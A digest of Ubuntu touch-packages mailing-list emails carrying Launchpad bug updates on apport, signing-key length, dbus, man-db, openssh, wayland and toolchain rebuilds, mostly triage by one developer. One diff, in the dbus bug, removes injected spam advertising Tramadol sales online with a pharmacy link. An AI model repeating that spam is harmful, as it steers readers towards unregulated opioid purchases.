You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1861873

Title:
  apport-collect fails to run with python3.8

Status in launchpadlib :
  Fix Released
Status in apport package in Ubuntu:
  New
Status in python-launchpadlib package in Ubuntu:
  New

Bug description:
  errors out with:
  ERROR: connecting to Launchpad failed: module 'cgi' has no attribute 
'parse_qs'\

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpadlib/+bug/1861873/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1861873] Re: apport-collect fails to run with python3.8

[Colin Watson]

** Changed in: launchpadlib
   Status: In Progress => Fix Committed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1861873

Title:
  apport-collect fails to run with python3.8

Status in launchpadlib :
  Fix Committed
Status in apport package in Ubuntu:
  New
Status in python-launchpadlib package in Ubuntu:
  New

Bug description:
  errors out with:
  ERROR: connecting to Launchpad failed: module 'cgi' has no attribute 
'parse_qs'\

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpadlib/+bug/1861873/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1861873] Re: apport-collect fails to run with python3.8

[Colin Watson]

** Also affects: launchpadlib
   Importance: Undecided
   Status: New

** Changed in: launchpadlib
   Importance: Undecided => High

** Changed in: launchpadlib
   Status: New => In Progress

** Changed in: launchpadlib
 Assignee: (unassigned) => Colin Watson (cjwatson)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1861873

Title:
  apport-collect fails to run with python3.8

Status in launchpadlib :
  In Progress
Status in apport package in Ubuntu:
  New
Status in python-launchpadlib package in Ubuntu:
  New

Bug description:
  errors out with:
  ERROR: connecting to Launchpad failed: module 'cgi' has no attribute 
'parse_qs'\

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpadlib/+bug/1861873/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1461834] Re: 1024-bit signing keys should be deprecated

[Colin Watson]

** Description changed:

- 1024-bit RSA เลิกใช้แล้วเมื่อหลายปีก่อนโดย NIST [1], Microsoft [2]
- และอื่น ๆ เมื่อไม่นานมานี้ [3]
+ 1024-bit RSA was deprecated  years ago by NIST[1], Microsoft[2] and more
+ recently by others[3].
  
- คีย์การลงชื่อ 1024
- บิตไม่เพียงพอที่จะรับประกันความถูกต้องของซอฟต์แวร์ที่แจกจ่ายจาก
- Launchpad.net รวมถึง PPA
- ควรมีกลไกในการปฏิเสธการเซ็นชื่อคีย์ด้านล่างความยาวคีย์ต่ำสุดตามชนิดของคีย์
- คีย์การเซ็นชื่อ 1024 บิตควรเลิกใช้แล้วนำออกจาก Launchpad.net
- โดยเร็วที่สุด โครงการในอนาคตและ PPAs ควรถูกห้ามไม่ให้ใช้คีย์การลงชื่อ
- 1024 บิต
+ 1024-bit signing keys are insufficient to guarantee the authenticity of
+ software distributed from Launchpad.net including PPAs. There should be
+ a mechanism to refuse signing keys below a minimum key length based on
+ key type. 1024-bit signing keys should be deprecated and removed from
+ Launchpad.net itself ASAP.  Future projects and PPAs should be
+ disallowed from using 1024-bit signing keys.
  
  1. http://csrc.nist.gov/publications/nistpubs/800-131A/sp800-131A.pdf
  2. 
http://blogs.technet.com/b/pki/archive/2012/06/12/rsa-keys-under-1024-bits-are-blocked.aspx
  3. 
https://threatpost.com/mozilla-1024-bit-cert-deprecation-leaves-107000-sites-untrusted/108114

** Changed in: launchpad
 Assignee: wachirapranee tesprasit (tatar28) => (unassigned)

** Changed in: apt (Ubuntu)
 Assignee: wachirapranee tesprasit (tatar28) => (unassigned)

** Changed in: gnupg2 (Ubuntu)
 Assignee: wachirapranee tesprasit (tatar28) => (unassigned)

** Changed in: launchpad
   Status: Fix Released => New

** Changed in: apt (Ubuntu)
   Status: Fix Released => Invalid

** Changed in: gnupg2 (Ubuntu)
   Status: Fix Released => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1461834

Title:
  1024-bit signing keys should be deprecated

Status in Launchpad itself:
  New
Status in apt package in Ubuntu:
  Invalid
Status in gnupg2 package in Ubuntu:
  Confirmed

Bug description:
  1024-bit RSA was deprecated  years ago by NIST[1], Microsoft[2] and
  more recently by others[3].

  1024-bit signing keys are insufficient to guarantee the authenticity
  of software distributed from Launchpad.net including PPAs. There
  should be a mechanism to refuse signing keys below a minimum key
  length based on key type. 1024-bit signing keys should be deprecated
  and removed from Launchpad.net itself ASAP.  Future projects and PPAs
  should be disallowed from using 1024-bit signing keys.

  1. http://csrc.nist.gov/publications/nistpubs/800-131A/sp800-131A.pdf
  2. 
http://blogs.technet.com/b/pki/archive/2012/06/12/rsa-keys-under-1024-bits-are-blocked.aspx
  3. 
https://threatpost.com/mozilla-1024-bit-cert-deprecation-leaves-107000-sites-untrusted/108114

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpad/+bug/1461834/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1851300] Re: Xubuntu 18.04 passwd file in etc displays passwd unencrypted

[Colin Watson]

This is certainly nothing to do with base-passwd: while it populates
initial system accounts in /etc/passwd, it doesn't deal with managing
entries there that correspond to user accounts.

** Changed in: base-passwd (Ubuntu)
   Status: Incomplete => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to base-passwd in Ubuntu.
https://bugs.launchpad.net/bugs/1851300

Title:
  Xubuntu 18.04 passwd file in etc displays passwd unencrypted

Status in base-passwd package in Ubuntu:
  Invalid
Status in pam package in Ubuntu:
  Incomplete
Status in shadow package in Ubuntu:
  Incomplete

Bug description:
  Hello,

  I have a workshop where I provide mostly Ubuntu community editions in
  computers and help people coming with computers already setup with a
  *buntu version. A lady came to me as she couldn't master her computer,
  (there is someone in town who installs Ubuntu editions without
  teaching his clients how to deal with their machines).

  She has an Ubuntu Xfce (Xubuntu) 18.04.x which is what she currently
  uses, especially as she doesn't know how to boot to the othe OS. :s

  So I chrooted from a live to recreate her Xubuntu user passwd, and oh
  surprise! The /etc/passwd file was showing her password in plain text,
  unencrypted. (I could read it easily, it was her family name!).

  I have not had the time to dig further, check other editions and
  versions exept the ones I use, however I think, as it has happend in
  the paste, the persons in charge should look into it and check all
  recent Ubuntu and community versions editions (if relevant).

  Thanks for your work!

  Best regards,
  Mélodie

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/base-passwd/+bug/1851300/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1850122] Re: ubuntu-bug lightdm no password box

[Colin Watson]

** Project changed: launchpad => lightdm (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1850122

Title:
  ubuntu-bug lightdm no password box

Status in lightdm package in Ubuntu:
  New

Bug description:
  As explained in this topic

  https://discourse.ubuntubudgie.org/t/updated-to-19-10-lock-screen-
  problem/2597

  The PC after waking up from sleep there is no password box in the screen to 
resume work.
  So far this problem is seen in Ubuntu Budgie and Solus Budgie.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1850122/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1230031] Re: dbus-daemon consumes 100% cpu without reason

[Colin Watson]

** Summary changed:

- Buy Tramadol Online Next Day Delivery
+ dbus-daemon consumes 100% cpu without reason

** Description changed:

- Buy Tramadol Online Next Day Delivery
- 
- Safe and Secure Order Delivery
- 
- >>  http://yourchemiststore.net
- 
- Buy Tramadol Online
- 
- Buy Tramadol 100mg online
- 
- Buy Tramadol Online 200mg
- 
- Buy Tramadol 50mg
- 
- Buy Tramadol Online Legally
- 
- Buy Tramadol Online cheap
- 
- 
  Just login in to session, and dbus-daemon consumes 100% of cpu. Before,
  I did a login and logout. This problem appears randomly, not all the
  time.
  
-  9107 sergio20   0 30376 1660 1356 R 100,1  0,0  11:35.08 dbus-daemon
- 11692 root  20   0  433m  54m  37m S   1,0  1,4   0:05.46 Xorg
- 12279 sergio20   0 1506m  78m  30m S   0,7  2,1   0:05.40 compiz
- 12417 sergio20   0  553m  20m  11m S   0,7  0,6   0:00.93 gnome-terminal
+  9107 sergio20   0 30376 1660 1356 R 100,1  0,0  11:35.08 dbus-daemon 

  
+ 11692 root  20   0  433m  54m  37m S   1,0  1,4   0:05.46 Xorg

  
+ 12279 sergio20   0 1506m  78m  30m S   0,7  2,1   0:05.40 compiz  

  
+ 12417 sergio20   0  553m  20m  11m S   0,7  0,6   0:00.93 gnome-terminal  

  
  13757 sergio20   0  853m 160m  40m S   0,7  4,2   0:06.83 firefox
  
  See sensors, dbus-daemon is heating up my laptop:
  
  Adapter: Virtual device
  temp1:+68.0°C  (crit = +98.0°C)
  
  coretemp-isa-
  Adapter: ISA adapter
  Physical id 0:  +69.0°C  (high = +84.0°C, crit = +100.0°C)
  Core 0: +49.0°C  (high = +84.0°C, crit = +100.0°C)
  Core 1: +51.0°C  (high = +84.0°C, crit = +100.0°C)
  Core 2: +69.0°C  (high = +84.0°C, crit = +100.0°C)
  Core 3: +55.0°C  (high = +84.0°C, crit = +100.0°C)
  
  asus-isa-
  Adapter: ISA adapter
- temp1:   +6280.0°C
+ temp1:   +6280.0°C  
  
  pkg-temp-0-virtual-0
  Adapter: Virtual device
  temp1:+68.0°C
  
  ---
  
  Description:  Ubuntu Saucy Salamander (development branch)
  Release:  13.10
  Linux sergio-X751JB 3.11.0-8-generic #15-Ubuntu SMP Fri Sep 20 04:11:26 UTC 
2013 x86_64 x86_64 x86_64 GNU/Linux
  
  dbus:
-   Installed: 1.6.12-0ubuntu5
-   Candidate: 1.6.12-0ubuntu5
-   Version table:
-  *** 1.6.12-0ubuntu5 0
- 500 http://archive.ubuntu.com/ubuntu/ saucy/main amd64 Packages
- 100 /var/lib/dpkg/status
+   Installed: 1.6.12-0ubuntu5
+   Candidate: 1.6.12-0ubuntu5
+   Version table:
+  *** 1.6.12-0ubuntu5 0
+ 500 http://archive.ubuntu.com/ubuntu/ saucy/main amd64 Packages
+ 100 /var/lib/dpkg/status
  
  ProblemType: Bug
  DistroRelease: Ubuntu 13.10
  Package: dbus 1.6.12-0ubuntu5
  ProcVersionSignature: Ubuntu 3.11.0-8.15-generic 3.11.1
  Uname: Linux 3.11.0-8-generic x86_64
  ApportVersion: 2.12.4-0ubuntu1
  Architecture: amd64
  Date: Wed Sep 25 04:31:14 2013
  InstallationDate: Installed on 2013-09-20 (4 days ago)
  InstallationMedia: Ubuntu 13.10 "Saucy Salamander" - Alpha amd64 (20130920)
  MarkForUpload: True
  SourcePackage: dbus
  UpgradeStatus: No upgrade log present (probably fresh install)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dbus in Ubuntu.
https://bugs.launchpad.net/bugs/1230031

Title:
  dbus-daemon consumes 100% cpu without reason

Status in dbus package in Ubuntu:
  Confirmed

Bug description:
  Just login in to session, and dbus-daemon consumes 100% of cpu.
  Before, I did a login and logout. This problem appears randomly, not
  all the time.

   9107 sergio20   0 30376 1660 1356 R 100,1  0,0  11:35.08 dbus-daemon 

  
  11692 root  20   0  433m  54m  37m S   1,0  1,4   0:05.46 Xorg

  
  12279 sergio20   0 1506m  78m  30m S   0,7  2,1   0:05.40 compiz  

  
  12417 sergio20   0  553m  20m  11m S   0,7  0,6   0:00.93 gnome-terminal  

  
  13757 sergio20   0  853m 160m  40m S   0,7  4,2   0:06.83 firefox

  See sensors, dbus-daemon is heating up my laptop:

  Adapter: Virtual device
  temp1:+68.0°C  (crit = +98.0°C)

  coretemp-isa-
  Adapter: ISA adapter
  Physical id 0:  +69.0°C  (high = +84.0°C, crit = +100.0°C)
  Core 0: +49.0°C  (high = +84.0°C, crit = +100.0°C)
  Core 1: +51.0°C  (high = +84.0°C, crit = +100.0°C)
  

[Touch-packages] [Bug 1132446] Re: Bold fonts are converting to normal fonts on scrolling

[Colin Watson]

Reassigning to less, then, though it could also be a bug in lxterminal.

** Package changed: man-db (Ubuntu) => less (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to less in Ubuntu.
https://bugs.launchpad.net/bugs/1132446

Title:
  Bold fonts are converting to normal fonts on scrolling

Status in less package in Ubuntu:
  New

Bug description:
  I'm using Ubuntu 13.04 dev with man-db 2.6.3-3. If I'm reading a
  manpage in the terminal and scrolling down with the keyboard rarely
  some bold fonts are converting to normal fonts.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/less/+bug/1132446/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 611791] Re: package man-db 2.5.5-1build1 failed to install/upgrade:

[Colin Watson]

I suspect at this point it's probably no longer relevant, and there
isn't much to go on here; but "package man-db is already installed and
configured" suggests that apt tried to schedule a dpkg --configure
action on man-db when it shouldn't have done so.

** Package changed: man-db (Ubuntu) => apt (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/611791

Title:
  package man-db 2.5.5-1build1 failed to install/upgrade:

Status in apt package in Ubuntu:
  New

Bug description:
  Binary package hint: man-db

  while trying to upgrade system state, was told this upgrade failed

  ProblemType: Package
  Architecture: i386
  DistroRelease: Ubuntu 9.04
  ErrorMessage:
   ErrorMessage: package man-db is already installed and configured
  NonfreeKernelModules: wl
  Package: man-db 2.5.5-1build1
  SourcePackage: man-db
  Title: package man-db 2.5.5-1build1 failed to install/upgrade:
  Uname: Linux 2.6.28-19-generic i686

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/611791/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1414311] Re: package man-db 2.6.1-2ubuntu1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1

[Colin Watson]

** Package changed: man-db (Ubuntu) => debconf (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to debconf in Ubuntu.
https://bugs.launchpad.net/bugs/1414311

Title:
  package man-db 2.6.1-2ubuntu1 failed to install/upgrade: subprocess
  installed post-installation script returned error exit status 1

Status in debconf package in Ubuntu:
  Confirmed

Bug description:
  error occured while repairing the boot

  ProblemType: Package
  DistroRelease: Ubuntu 12.04
  Package: man-db 2.6.1-2ubuntu2
  ProcVersionSignature: Ubuntu 3.13.0-32.57~precise1-generic 3.13.11.4
  Uname: Linux 3.13.0-32-generic x86_64
  ApportVersion: 2.0.1-0ubuntu17.6
  Architecture: amd64
  CasperVersion: 1.315.1
  Date: Sat Jan 24 20:49:00 2015
  DuplicateSignature: package:man-db:2.6.1-2ubuntu1:subprocess installed 
post-installation script returned error exit status 1
  ErrorMessage: subprocess installed post-installation script returned error 
exit status 1
  LiveMediaBuild: Ubuntu 12.04.5 LTS "Precise Pangolin" - Release amd64 
(20140807.1)
  MarkForUpload: True
  SourcePackage: man-db
  Title: package man-db 2.6.1-2ubuntu1 failed to install/upgrade: subprocess 
installed post-installation script returned error exit status 1
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/debconf/+bug/1414311/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1799996] Re: package man-db 2.8.3-2ubuntu0.1 failed to install/upgrade: instalado man-db paquete post-installation guión el subproceso devolvió un error con estado de salida 1

[Colin Watson]

** Package changed: man-db (Ubuntu) => debconf (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to debconf in Ubuntu.
https://bugs.launchpad.net/bugs/176

Title:
  package man-db 2.8.3-2ubuntu0.1 failed to install/upgrade: instalado
  man-db paquete post-installation guión el subproceso devolvió un error
  con estado de salida 1

Status in debconf package in Ubuntu:
  New

Bug description:
  ocurrio posterior mente cuando trate de installar los restrited-extras

  ProblemType: Package
  DistroRelease: Ubuntu 18.04
  Package: man-db 2.8.3-2ubuntu0.1
  ProcVersionSignature: Ubuntu 4.15.0-38.41-generic 4.15.18
  Uname: Linux 4.15.0-38-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.4
  Architecture: amd64
  Date: Thu Oct 25 12:26:58 2018
  ErrorMessage: instalado man-db paquete post-installation guión el subproceso 
devolvió un error con estado de salida 1
  InstallationDate: Installed on 2018-10-17 (7 days ago)
  InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 
(20180725)
  Python3Details: /usr/bin/python3.6, Python 3.6.6, unpackaged
  PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, unpackaged
  RelatedPackageVersions:
   dpkg 1.19.0.5ubuntu2
   apt  1.6.6
  SourcePackage: man-db
  Title: package man-db 2.8.3-2ubuntu0.1 failed to install/upgrade: instalado 
man-db paquete post-installation guión el subproceso devolvió un error con 
estado de salida 1
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/debconf/+bug/176/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1841742] Re: Ubuntu says: "The problem cannot be reported."

[Colin Watson]

** Project changed: launchpad => apport (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1841742

Title:
  Ubuntu says: "The problem cannot be reported."

Status in apport package in Ubuntu:
  New

Bug description:
  With Ubuntu 19.10 I get continuously problem reports, which I try to send to 
Ubuntu, but which don't leave my PC, because the next info is: 
  The problem cannot be reported: The problem happened with the program 
/usr/lib/gnome-session/gnome-session-binary which changed since the crash 
occurred. --- I have done nothing in between. Only Ubuntu has acted.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1841742/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1841387] Re: GDM hangs on boot with 5.3rc5 when using wayland

[Colin Watson]

** Project changed: launchpad => wayland (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to wayland in Ubuntu.
https://bugs.launchpad.net/bugs/1841387

Title:
  GDM hangs on boot with 5.3rc5 when using wayland

Status in wayland package in Ubuntu:
  New

Bug description:
  Been testing newer kernels and everything works(5.2.9 works) until
  5.3rc series where it seems there is an issue with Wayland and/or the
  setup on Ubuntu is using, it works on Arch Linux.

  When booting with 5.3rc5 GDM hangs on launch showing a blank screen, booting 
to safe mode trying to start weston results in:
  Date: 2019-08-24 CEST
  [23:29:54.788] weston 5.0.0
 https://wayland.freedesktop.org
 Bug reports to: 
https://gitlab.freedesktop.org/wayland/weston/issues/
 Build: unknown (not built from git or tarball)
  [23:29:54.788] Command line: /usr/bin/weston
  [23:29:54.788] OS: Linux, 5.3.0-050300rc5-generic, #201908182231 SMP Sun Aug 
18 22:33:18 UTC 2019, x86_64
  [23:29:54.788] Using config file '/home/tlb/.config/weston.ini'
  [23:29:54.788] Output repaint window is 7 ms maximum.
  [23:29:54.788] Loading module 
'/usr/lib/x86_64-linux-gnu/libweston-5/drm-backend.so'
  [23:29:54.790] initializing drm backend
  [23:29:54.792] logind: session control granted
  [23:29:54.793] no drm device found
  [23:29:54.793] fatal: failed to create compositor backend

  I know this is not supported but there are some nice thermal fixes in
  5.3 for the Dell XPS 9380 and 9370 that would be nice to have.

  How do i debug this?

  Regards Troels

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/wayland/+bug/1841387/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1840045] Re: Software & Updates > Other Software > Scroll widget jumps

[Colin Watson]

** Project changed: launchpad => software-properties (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1840045

Title:
  Software & Updates > Other Software > Scroll widget jumps

Status in software-properties package in Ubuntu:
  New

Bug description:
  When I click a checkbox next to a software source, the scroll widget
  jumps to the top.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1840045/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1752656] Re: Please SRU archive keyrings to older releases

[Colin Watson]

Note that SRUing debian-archive-keyring to xenial and earlier is hard,
because its keyring generation code relies on gpg features that were
added after bionic, and avoiding those features would break
reproducibility of the generated keyring files and invalidate the
signatures by Debian release team members.  If we need to do this it's
possible the only sensible option would be to smash in the generated
files.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-keyring in Ubuntu.
https://bugs.launchpad.net/bugs/1752656

Title:
  Please SRU archive keyrings to older releases

Status in debian-archive-keyring package in Ubuntu:
  New
Status in ubuntu-keyring package in Ubuntu:
  New

Bug description:
  While not necessarily a critical issue for the Ubuntu keyrings, as
  Debian uses newer keys periodically, it becomes impossible with the
  default keyrings to verify the latest Debian archive files.

  It seems reasonable to ensure the keyring contents in all releases are
  the same, as the latest release is reflecting the latest archives.

  Related: bug 1801725

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/debian-archive-keyring/+bug/1752656/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1828171] Re: New toolchain updates need to be rebuilt against -security only

[Colin Watson]

I had to remove gcc-defaults-ports from cosmic-proposed:
https://launchpad.net/ubuntu/+source/gcc-defaults-ports/1.176ubuntu1.2
and https://launchpad.net/ubuntu/+source/gcc-defaults-
ports/1.178ubuntu1.2 have overlapping binary versions in different
builds, so these were unpublishable and were causing the publisher to
OOPS frequently.  Could you please sort out a non-overlapping version
scheme here?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to binutils in Ubuntu.
https://bugs.launchpad.net/bugs/1828171

Title:
  New toolchain updates need to be rebuilt against -security only

Status in binutils package in Ubuntu:
  New
Status in eclipse-titan package in Ubuntu:
  New
Status in gcc-7 package in Ubuntu:
  New
Status in gcc-7-cross package in Ubuntu:
  New
Status in gcc-7-cross-ports package in Ubuntu:
  New
Status in gcc-8 package in Ubuntu:
  New
Status in gcc-8-cross package in Ubuntu:
  New
Status in gcc-8-cross-ports package in Ubuntu:
  New
Status in gcc-defaults package in Ubuntu:
  New
Status in gcc-defaults-ports package in Ubuntu:
  New
Status in ggcov package in Ubuntu:
  New
Status in binutils source package in Bionic:
  Fix Committed
Status in eclipse-titan source package in Bionic:
  Fix Committed
Status in gcc-7 source package in Bionic:
  Fix Committed
Status in gcc-7-cross source package in Bionic:
  Fix Committed
Status in gcc-7-cross-ports source package in Bionic:
  Fix Committed
Status in gcc-8 source package in Bionic:
  Fix Committed
Status in gcc-8-cross source package in Bionic:
  Fix Committed
Status in gcc-8-cross-ports source package in Bionic:
  Fix Committed
Status in gcc-defaults source package in Bionic:
  Fix Committed
Status in gcc-defaults-ports source package in Bionic:
  Fix Committed
Status in ggcov source package in Bionic:
  Fix Committed
Status in binutils source package in Cosmic:
  Fix Committed
Status in eclipse-titan source package in Cosmic:
  Fix Committed
Status in gcc-7 source package in Cosmic:
  Fix Committed
Status in gcc-7-cross source package in Cosmic:
  Fix Committed
Status in gcc-7-cross-ports source package in Cosmic:
  Fix Committed
Status in gcc-8 source package in Cosmic:
  Fix Committed
Status in gcc-8-cross source package in Cosmic:
  Fix Committed
Status in gcc-8-cross-ports source package in Cosmic:
  Fix Committed
Status in gcc-defaults source package in Cosmic:
  Fix Committed
Status in gcc-defaults-ports source package in Cosmic:
  Fix Committed
Status in ggcov source package in Cosmic:
  Fix Committed

Bug description:
  [Impact]
  With LP: #1814369, the toolchain packages have been updated in both cosmic 
and bionic, but due to an error those packages were built in -proposed as any 
regular SRU. For toolchain updates there exists a policy that those should be 
always built against -security *only*, and then released to both -security and 
-updates.

  Since this is not the case with the current toolchain update, we need
  to no-change rebuild all of the previously released toolchain packages
  in a -security enabled devirt PPA, sync them to -proposed with
  binaries and then release into the archives.

  [Regression Potential]
  As these are toolchain packages, there is always some regression potential. 
These will be no-change rebuilds so in theory the risk should be low, but the 
current versions of the packages have not been built against -security only 
before. It is hard to say how any regressions could manifest themselves.

  [Test Case]
  Making sure there are no reported regressions in the GCC and binutils test 
suites. Hopefully this will be sufficient.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/binutils/+bug/1828171/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 218741] Re: scp cuts UTF8 filenames by bytes instead of characters

[Colin Watson]

I did some experimentation today with different "stty cols" settings,
and I'm pretty sure this is fixed.  I believe that the commit that fixed
it was probably
https://anongit.mindrot.org/openssh.git/commit/?id=0e059cdf5fd86297546c63fa8607c24059118832
(note in particular "take character display widths into account for the
progressmeter", in which case this has been fixed since OpenSSH 7.3p1,
so since Ubuntu 16.10.

** Changed in: openssh (Ubuntu)
   Status: Triaged => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/218741

Title:
  scp cuts UTF8 filenames by bytes instead of characters

Status in openssh package in Ubuntu:
  Fix Released

Bug description:
  Binary package hint: openssh-client

  This is for up-to-date Ubuntu Hardy.

  I left some files for copying today using scp (from the openssh-client 
package). I happened to look at the output and noticed some “bad character” 
symbols on the terminal, as pasted below. (These were copy-pasted from the 
console, in a completely UTF8-based environment. Note that the weird characters 
may confuse your browser, make sure it's detected the correct encoding.)
  
  21 Lied pentru voce și pian „Regen”.flac 100% 9938KB   1.9MB/s   00:05
  03 Lieduri pentru tenor și pian, op. 15 „S 100% 2524KB   2.5MB/s   00:01 
  18 Lied pentru voce și pian „Frauenberuf�� 100%   11MB   1.3MB/s   00:09
  06 Lieduri pentru tenor și pian, op. 15 „S 100% 8961KB   2.2MB/s   00:04
  09 Lieduri pentru bas și pian, op. 4 „Troi 100%   11MB   1.4MB/s   00:08   
  [after resizing the window]
  10 Suita nr. 3 pentru orchestră, op. 27 „Săteasca”_ „Pârâu sub lun� 100%   
13MB   2.6MB/s   00:05

  As it happens, the next character on each filename of the two weird
  lines was, respectively, ” and ă, both of which are of course
  displayed correctly in other places on the same output. Based on this
  and the misalignment of the last columns, I think scp cuts too-long-
  names by counting bytes rather than characters. This is obviously
  wrong in UTF8, since some characters can contain several bytes, in
  which case the lines would be cut too early, and occasionally in the
  “middle” of a character, thus displaying garbage.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/218741/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1832077] Re: libneon27-dev builddep can not be installed in recipebuild

[Colin Watson]

This is a problem with libneon27 in Ubuntu bionic itself, not a problem
with Launchpad.  In a clean chroot:

(bionic-amd64)root@niejwein:~# apt install libneon27
Reading package lists... Done
Building dependency tree
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
 libneon27 : Depends: libssl1.1 (>= 1.1.1) but it is not going to be installed
E: Unable to correct problems, you have held broken packages.

